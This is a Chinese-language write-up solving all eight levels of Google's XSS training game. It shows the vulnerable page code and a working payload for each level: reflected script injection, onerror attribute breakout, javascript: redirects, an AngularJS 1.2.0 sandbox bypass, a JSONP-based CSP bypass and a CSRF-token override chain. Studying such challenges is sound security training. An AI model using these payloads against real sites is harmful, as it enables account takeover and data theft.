Wargame-XSS-game
Level 1:Hello,world of XSS
提示部分
任务描述
此级别演示了跨站点脚本的常见原因,其中用户输入直接包含在页面中而没有正确转义。 与下面的易受攻击的应用程序窗口交互,找到一种方法使其执行您选择的JavaScript。您可以在易受攻击的窗口内执行操作或直接编辑其URL栏。
使命目标
注入脚本以alert()在下面的框架中弹出JavaScript 。
一旦显示警报,您就可以进入下一级别。
你的目标
测试
在输入框中随便输入 test 后得到
https://xss-game.appspot.com/level1/frame?query=test
- URL变化
- 页面重新加载
- 测试的字符内容被一起加载到页面中
其中URL结尾的?query= 后面的内容与我们输入的是一致的(输入输出相同)
payload
<script>alert("test")</script>
执行成功
https://xss-game.appspot.com/level1/frame?query=<script>alert("test")</script>
Level 2:Persistence is key(持久性是关键)
时间到了!
用户提供的每一项数据都必须正确转义,以显示它所在页面的上下文。这个级别说明了原因。
输入一个输入,使应用程序在JavaScript中执行alert()函数。
分析关键部分代码
<html>
<head>
<script src="/static/js/js_frame.js"></script>
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.loading.style.display = 'none';
window.message.innerHTML = '<a href="?">Go back</a> to the timer setup page';
}, seconds * 1000);
}
</script>
</head>
<body style="background-color: white;">
<center>
<h1 style="font-family: serif">
webtim<span style="color: teal">r</span> <span style="color: green">pro</span>
</h1>
<!-- Source: https://commons.wikimedia.org/wiki/File:Loading_icon.gif -->
<img id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('3');" />
<br>
<div id="message">Your timer will execute in 3 seconds.</div>
</center>
</body>
</html>
关键部分是函数
StartTimer()
和
<img id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('3');" />
知识点
<script>
var a = 'a' + alert(); // 或者 '-' 也可以,重点在于让 alert() 参与运算
// 当 alert() 参与运算的时候
// js 会尝试让 alert() 先执行
// 然后取其执行后的返回值再参与前面的运算
</script>
再结合 img 标签的 onload 事件:
onload = "startTime('?')"; // 这里需要把上面的知识点利用上 也就是把 alert() 以合适的位置插入
// 先尝试直接插入alert()
onload = "startTimer('alert()')"; // startTimer('alert()'); …… 这不直接当字符串传过去了吗…… 不行
// 看看上面的知识点……
// 插入 a'+alert()+'a
onload = "startTimer('a'+alert()+'a')"; // 这应该差不多了…… 可是好像a没啥用啊,不传不也还是字符串吗,只不过是空字符串
// 插入 '+alert()+'
onload = "startTimer(''+alert()+'')";
payload:
'+alert("xss")+'
http://www.xssgame.com/f/WrfpuKFX8GNr/?timer='+alert("xss")+'
Level 3 画廊
复杂的Web应用程序通常会在JavaScript中生成部分UI。一些常见的JS函数是执行接收器,这意味着它们将导致浏览器执行其输入中出现的任何脚本。
这个级别的应用程序正在使用一个这样的接收器。
由于您无法在应用程序的任何位置输入有效负载,因此您必须在提供的URL栏中手动编辑地址。目标是利用应用程序中的漏洞使其执行JavaScript alert()函数。
测试
随手输入参数非法的参数-1,可以看到页面回显了 -1
源码
<html>
<head>
<link rel="stylesheet" href="/static/css/level_style.css" />
<script src="/static/js/jquery2.min.js"></script>
<script src="/static/js/js_frame.js"></script>
<script>
window.onvalidationready = null;
function validate() {
$.post(location.pathname, {'h': location.hash}, function(data, status) {
$('#result').html(data);
if (window.onvalidationready) {
window.onvalidationready();
window.onvalidationready = null;
}
});
}
function chooseTab(name) {
var html = "Cat " + parseInt(name) + "<br>";
html += "<img src='/static/img/cat" + name + ".jpg' />";
document.getElementById('tabContent').innerHTML = html;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(name)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
window.location.hash = name;
// Tell parent we've changed the tab
top.postMessage({'url': self.location.toString()}, "*");
}
function hashchange() {
if (self.location.hash) {
chooseTab(self.location.hash.substr(1));
validate();
} else {
chooseTab(1);
}
}
window.onload = hashchange;
window.onhashchange = hashchange;
</script>
</head>
<body id="dom-demo">
<div id="result"></div>
<div id="header">
<span>Cat Image</span> <span>X</span><span>S</span><span>S</span> Library
</div>
<!-- Source: https://www.flickr.com/photos/eraphernalia_vintage/2988746750
CC BY-SA 2.0 https://creativecommons.org/licenses/by-sa/2.0/
Created by Cheryl, published here without modifications -->
<div class="tab" id="tab1" onclick="chooseTab('1')">Cat 1</div>
<!-- Source: https://pixabay.com/en/cat-red-christmas-santa-hat-funny-1898512/ (License: Public Domain) -->
<div class="tab" id="tab2" onclick="chooseTab('2')">Cat 2</div>
<!-- Source: https://pixabay.com/en/cat-kitten-cute-funny-whiskers-1686730/ (License: Public Domain) -->
<div class="tab" id="tab3" onclick="chooseTab('3')">Cat 3</div>
<div id="tabContent"> </div>
</body>
</html>
关键部分
这里进行了文件名的拼接
需要注意的是通过 innerHTML 写到 div 中。而 innerHTML 方法直接写入的 并不会被执行。
img src='' onerror='alert()' />
<!--
当图片加载错误的时候,就会执行 onerror 中的 alert() 方法
对于本关
我们只需要让他访问一个不存在的图片并让其执行 onerror='alert()' 就OK了
-->
payload
8'onerror='alert(/xss/)'
http://www.xssgame.com/f/u0hrDTsXmyVJ/#8'onerror='alert(/xss/)'
用单引号截断1,使其 scr 指向’1’这个文件,并加入 onerror 事件,而因为’1’这个文件不存在,加载错误,转而执行 onerror 中的 alert() 方法。
Level 4 谷歌读者
跨站点脚本不仅仅是正确转义数据。有时,即使没有将新元素注入DOM,攻击者也可以做坏事。
目标是再次利用应用程序中的漏洞使其执行JavaScript alert()函数。重要的是解决方案不应该要求用户交互 - 打开URL应该足以触发警报。另请注意,alert()应弹出挑战域 - 重定向到您自己的网页,并提醒那里不会被视为有效的解决方案。
测试
Sign up
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/static/css/level_style.css" />
<script src="/static/js/js_frame.js"></script>
</head>
<body>
<center>
<img src="/static/img/googlereader-logo.png" /><br><br>
<!-- We're ignoring the email, but the poor user will never know! -->
Enter email: <input id="reader-email" name="email" value="">
<br><br>
<a href="confirm?next=welcome">Next >></a>
</center>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/static/css/level_style.css" />
<script src="/static/js/js_frame.js"></script>
</head>
<body style="background-color: white;">
<center>
Welcome! Today we are announcing the much anticipated<br>
<img src="/static/img/googlereader.png" /><br>
<a href="signup?next=confirm">Sign up</a> for an exclusive Beta.
</center>
</body>
</html>
www.xssgame.com/f/__58a1wgqGgI/confirm?next=welcome
<!DOCTYPE html>
<html>
<head>
<script src="/static/js/js_frame.js"></script>
</head>
<body style="background-color: white;">
<center>
<img src="/static/img/googlereader-logo.png" /><br><br>
Thanks for signing up, you will be redirected soon...
<script>
setTimeout(function() { window.location = 'welcome'; }, 1000);
</script>
</center>
</body>
</html>
其中的’Welcome’像是我们 URL 中传入的参数。
经传入其他参数测试,发现 window.location = 我们传入的参数。
知识点
window.location = 'welcome';
/*
这是一个页面重定向的操作
window.location 等同于 window.location.href
而 DOM 的 href 属性呢,支持这样写:
<a href='javascript:alert()' > </a>
*/
payload:
confirm?next=javascript:alert()
http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=javascript:alert()
Level 5 角
Angular是一个非常流行的框架,在安全地开发应用程序时有一套自己的规则。其中之一是在Angular的模板系统运行之前修改DOM时应该小心。
这一挑战说明了为什么这很重要。
目标是再次利用应用程序中的漏洞使其执行JavaScript alert()函数。
代码分析
<script>
angular.module('myApp', [])
.controller('myController', ['$scope', function ($scope) {
$scope.query = "";
$scope.alert = window.alert;
}]);
var UTM_PARAMS = ["utm_content", "utm_medium", "utm_source",
"utm_campaign", "utm_term"]
if (location.search)
{
var params = location.search.substring(1).split('&');
for (var p in params) {
var r = params[p].split('=');
if (r.length == 2 && UTM_PARAMS.indexOf(r[0]) != -1) {
var el = document.getElementsByName(r[0]);
if (el.length) el[0].value = decodeURIComponent(r[1]);
}
}
}
</script>
先定义了一个数组,用来过滤 URL 中的参数。
过滤出参数以后呢,去页面上找相应的节点。并给节点赋值。页面中的节点有这几个:
<form action="" method="POST">
<input id="demo2-query" name="query" maxlength="140" ng-model="query" placeholder="Enter query here...">
<input name="utm_term" type="hidden">
<input name="utm_campaign" type="hidden" value="cpc">
<input id="demo2-button" type="submit" value="Search">
</form>
可以看到utm_term 输入框属性是hidden
知识点
什么是 Angular
一款非常优秀的前端高级 JS 框架
- 其核心就是通过指令扩展了 HTML,通过表达式绑定数据到 HTML。
- Angular不推崇DOM操作,也就是说在NG中几乎找不到任何的DOM操作
在Angular中怎么使用alert()
Angular 表达式{{}}表示一个表达式,像模板引擎
hello:{{user.name}}
{{“hello:”+user.name}}
{{1+1}}
{{[1,2,3,4]}}
payload
选择一个节点进行赋值
?utm_term={{alert()}}
http://www.xssgame.com/f/JFTG_t7t3N-P/?utm_term={{alert()}}
Less 6 角2
经常导致Angular表达式注入的编程模式是使用服务器端模板系统来生成Angular用作其自己的模板的HTML。即使服务器端模板保证输出中没有“普通”XSS,也是如此。
目标是再次利用应用程序中的漏洞使其执行JavaScript alert()函数。
测试
输入test,会发现输入的内容与输出的一致,尝试构造alert()进行测试,但是显示失败,这是因为 ng-non-bindable指令会告诉AngularJS当前的HTML元素或其子元素不需要编译
这里版本是1.2.0,是一个很早的版本
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
直接在网上搜索 Angular1.2.0 xss可得
在文末我们找到了当前版本对应 Angular 1.2.0-1.2.1 的 Sandbox bypasses
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
直接输入以上payload
得到
<form action="/f/rWKWwJGnAeyi/?query=a='constructor';b=};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert()')()}}" method="POST">
<input id="demo2-query" name="query" maxlength="140" ng-model="query" placeholder="Enter query here...">
<input id="demo2-button" type="submit" value="Search">
</form>
可以看到是进行了过滤 左花括号被过滤了 {
{ { --- 大括号左边部分Left curly brace
{
} } --- 大括号右边部分Right curly brace
}
{{a='constructor';b={}a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
这里构造简单的也可以,不用拼接
{{alert()}}
Leval 7 CSP
内容安全策略是防止注入成为可利用的XSS的重要工具。但这不是一个灵丹妙药 - 很多时候CSP政策都是可以绕过的。
这一挑战展示了一种常见的CSP旁路技术。
目标是再次利用应用程序中的漏洞使其执行JavaScript alert()函数。
<a href="?menu=YWJvdXQ=">About Me</a>
<!-- Image source: https://pixabay.com/en/construction-safety-site-banner-1174806/ License: Public Domain -->
<a href="?menu=Y2F0cw==">Cats</a>
<!-- Image source: https://pixabay.com/en/cat-red-christmas-santa-hat-funny-1898512/ License: Public Domain -->
<!-- Image source: https://pixabay.com/en/cat-kitten-cute-funny-whiskers-1686730/ License: Public Domain -->
<a href="?menu=ZG9ncw==">Dogs</a>
<!-- Image source: https://pixabay.com/en/goggles-dog-canine-pet-vacation-1472479/ License: Public Domain -->
<!-- Image source: https://pixabay.com/en/dog-sidecar-sunglasses-funny-171773/ License: Public Domain -->
<script src="/static/js/level7.js"></script>
代码分析
?menu=ZG9ncw==
menu后面的参数会进行改变
可以看到加载了/static/js/level7.js
/static/js/level7.js代码
/**
* Ask server side what to display.
*/
function main() {
var m = location.search.match('menu=(.*)');
var menu = m ? atob(m[1]) : 'about';
document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}
/**
* Display stuff returned from server side.
* @param {string} data - JSON data from server side
*/
function callback(data) {
if (data.title) document.write('<h1>' + data.title + '</h1>');
if (data.pictures) data.pictures.forEach(function(url) {
document.write('<img src="/static/img/' + url + '"><br><br>');
});
}
main();
解释如下
function main(){
//找到 URL 中 “menu=?” 的参数,并把?参数动态拼接成一个 <script> 标签,来访问资源。
//atob 对应的是 Base64 编码方式的解码操作,是的,btoa就是编码
}
function callback(data){
// 通过代码判断,data 应该是 json 格式。
// 取出其中的 title 和 pictures 对应的 value,拼接成 HTML 代码,插入到页面中,来访问资源
}
main(); //执行 main 方法
我们注意到,其中开头的 callback 与我们 level7.js 中的 callback 方法的名称一样,而且内容中也含有相应的 title 与 pictures,我们基本可以确定这个 json 串返回后会自动执行 callback 函数,像是某种约定,我们去查查看这个 ‘jsonp’:
JSONP:
JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 元素标签,远程调用 JSON 文件来实现数据传递。
搜索发现其中callback可定义导致一些安全问题
我们用 callback 这个参数去我们的 Level 7 中测试一下
?callback=3
callback执行成功,说明存在问题
Level7.js中
function main() {
var m = location.search.match('menu=(.*)');// 查找了一下当前 URL 中 'menu=' 后面的参数
var menu = m ? atob(m[1]) : 'about'; // 如果没有获取到参数,则赋值为 'about'
document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>'); // 在页面中写入 <script> 标签 ,通过 src 请求资源
}
因为 encodeURIComponent 的存在,我们截断 script 标签并加入 img 用 onerror 执行 alert 的方式行不通,写入的内容在转义后会被浏览器解析为一个不会被解析成 html 标签的字符串。
正常情况下,menu 的值会有4种可能,空值和 index 页面中三个 a 标签内静态的值,document.write 时写下的 script 标签内的 menu 参数有三种可能:’about’、’cats’、’dogs’。相应的会有三种 callback 的 JSON 对象。
如果我传入一个其他参数,后台做没做 default 处理呢,会返回什么内容呢。
我们这里试一下,因为他接受参数后要进行 base64 解码,所以我们传参时要先进行 base64 编码,’atob’ 函数是解码,编码函数猜也猜到应该是 ‘btoa’ 了~
验证一下
果然如此
而且我们发现报错后直接输的值为我们输入的值转码后的值
我们知道,如果我们输入的 menu 参数不是他期望的参数,他会把我们输入的东西显示在页面上。我们构建一个 img 标签传进去试一下:
执行失败,红色的报错部分显示由于CSP的原因,执行失败
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
现在我们可以利用的两个点是
1、callback可以使用、
2、menu传递错误的参数可以显示、
给 menu 传入经过 base64 编码后的:
<script src='jsonp?callback=alert()%3B//'></script> // 转义前为:<script src='jsonp?callback=alert();//'></script>
会把
<script src='jsonp?callback=alert();//'></script>
显示在页面上,script 标签会尝试加载,触发一个请求,script 而请求的返回内容为:
alert();//({…})
alert(); 后面被注释掉,执行 alert();
Payload
PHNjcmlwdCBzcmM9J2pzb25wP2NhbGxiYWNrPWFsZXJ0KCklM0IvLyc+PC9zY3JpcHQ+
http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9J2pzb25wP2NhbGxiYWNrPWFsZXJ0KCklM0IvLyc+PC9zY3JpcHQ+
执行成功
Level 8 CSRF
此挑战演示了许多Web安全性概念,例如CSP,跨站点请求伪造令牌和Self-XSS。
目标是再次利用应用程序中的漏洞使其执行JavaScript alert()函数。在这种情况下,重要的是,解决方案URL也应该在其他浏览器中触发相同的结果 - 仅使用这些特定的cookie显示在此计算机上工作的URL是不够的。
关键代码分析
/**
* Read cookie.
* @param {string} name - Name of the cookie
* @returns {string} Cookie value
*/
function readCookie(name) {
var match = RegExp('(?:^|;)\\s*' + name + '=([^;]*)').exec(document.cookie);
return match && match[1];
}
var username = readCookie('name');
if (username) {
document.write('<h1>Welcome ' + username + '!</h1>');
}
document.addEventListener("DOMContentLoaded", function(event) {
csrf_token.value = readCookie('csrf_token');
});
这个文件负责读取 cookie 的信息,如果读取到了 ‘name’ 的内容,就 document.write 到页面上。
测试一下 set
尤其是这个url很奇怪
value的值为输入的名字
后面重定向到了index
http://www.xssgame.com/f/d9u16LTxchEi/set?name=name&value=testhahha&redirect=index
输入一个非整数
可以看到页面显示了我们输入的小数、
http://www.xssgame.com/f/d9u16LTxchEi/transfer?name=hello&amount=0.22&csrf_token=EVPQBFQCH2
url中的csrf_token作为参数传递给后台
得到的信息
1、输入的不合法参数金额 account的值会显示出来
2、此页面没有CSP的标识
3、csrf_token 作为参数传递给后台。
在account处构造能够弹窗的代码
<script>alert()</script>
失败
警告显示
您执行了警报,但解决方案的服务器端验证失败。这可能意味着您的解决方案需要用户交互,或者不够通用,无法为不同的用户工作。请尝试使其无需用户交互,并且足够通用,以便适用于任何用户。它也可能是由使用绝对URL引用引起的 - 请避免使用它们
这里的意思由于不同的用户的原因,因为 csrf_token 每个人的都不同
token 很可能可以被 set,如果可行,那就通…… 你懂得。
我们来通过 set 设置 token,通过 redirect 跳转到我们之前成功 alert() 的汇款链接,并把其中的 token 设置成我们前面 set 的值。
OK,我们来构建URL:
http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=Pass&redirect=transfer?name=hello+kitty&amount=<script>alert()</script>&csrf_token=Pass
这里要注意,我们如果直接这样访问,redirect 的值会是:transfer?name=hello kitty。也就是到下一个 & 符会被截断。
所以我们这里 把这个 ‘redirect=’ 后面的内容处理一下,chrome 控制台:
encodeURIComponent('transfer?name=hello+kitty&amount=%3Cscript%3Ealert()%3C/script%3E&csrf_token=Pass')
得到返回值:
transfer%3Fname%3Dhello%2Bkitty%26amount%3D%253Cscript%253Ealert()%253C%2Fscript%253E%26csrf_token%3DPass
好我们替换一下 URL:
http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=Pass&redirect=transfer%3Fname%3Dhello%2Bkitty%26amount%3D%253Cscript%253Ealert()%253C%2Fscript%253E%26csrf_token%3DPass
参照
http://or7.me/2017/08/03/Google_xssgame/
http://www.freebuf.com/articles/web/133384.html